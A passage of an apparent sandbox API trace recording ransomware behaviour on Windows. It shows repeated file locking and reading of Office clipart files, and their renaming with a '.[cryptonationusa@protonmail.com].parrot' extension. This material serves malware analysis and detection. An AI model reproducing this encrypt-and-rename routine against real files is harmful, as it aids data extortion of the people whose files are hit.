[0145.503] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.503] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.505] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa04, lpOverlapped=0x0) returned 1 [0145.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.506] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.506] CloseHandle (hObject=0x288) returned 1 [0145.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.509] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7208, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.510] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.510] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.511] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.511] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x70f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x70f0, lpOverlapped=0x0) returned 1 [0145.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.513] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7208, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.513] CloseHandle (hObject=0x288) returned 1 [0145.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.662] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.663] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.663] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.664] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.664] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16ae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16ae, lpOverlapped=0x0) returned 1 [0145.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.666] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.666] CloseHandle (hObject=0x288) returned 1 [0145.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.670] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x484a, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.670] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.672] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4732, lpOverlapped=0x0) returned 1 [0145.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.674] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x484a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.674] CloseHandle (hObject=0x288) returned 1 [0145.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.678] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6d0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.678] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.678] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.679] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.679] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bf6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6bf6, lpOverlapped=0x0) returned 1 [0145.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.683] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6d0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.683] CloseHandle (hObject=0x288) returned 1 [0145.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.689] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe86, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.690] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.691] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6e, lpOverlapped=0x0) returned 1 [0145.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.692] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.692] CloseHandle (hObject=0x288) returned 1 [0145.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.696] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.697] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.770] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b74, lpOverlapped=0x0) returned 1 [0145.773] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.773] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.773] CloseHandle (hObject=0x288) returned 1 [0145.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.778] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4052a, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.778] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.779] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.780] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40412, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40412, lpOverlapped=0x0) returned 1 [0145.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.800] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4052a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.800] CloseHandle (hObject=0x288) returned 1 [0145.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.806] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b286, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.806] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.848] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.848] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b16e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b16e, lpOverlapped=0x0) returned 1 [0145.889] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.898] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b286, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.898] CloseHandle (hObject=0x288) returned 1 [0145.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.904] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f9a, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.904] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.904] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.910] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e82, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e82, lpOverlapped=0x0) returned 1 [0145.915] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.916] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f9a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.916] CloseHandle (hObject=0x288) returned 1 [0145.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.920] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4bf2, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.920] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.920] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.002] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.003] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ada, lpOverlapped=0x0) returned 1 [0146.004] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.004] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4bf2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.004] CloseHandle (hObject=0x288) returned 1 [0146.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.009] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2140, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.009] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.009] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.011] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.011] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2028, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2028, lpOverlapped=0x0) returned 1 [0146.012] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.012] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2140, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.012] CloseHandle (hObject=0x288) returned 1 [0146.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.016] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.016] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.016] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.018] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28ae, lpOverlapped=0x0) returned 1 [0146.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.019] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.019] CloseHandle (hObject=0x288) returned 1 [0146.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.023] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.023] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0146.025] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.025] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x349c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x349c, lpOverlapped=0x0) returned 1 [0146.209] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.210] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0146.210] CloseHandle (hObject=0x288) returned 1 [0146.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0146.214] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdf8, nNumberOfBytesToLockHigh=0x0) returned 1 [0146.215] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0146.215] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, 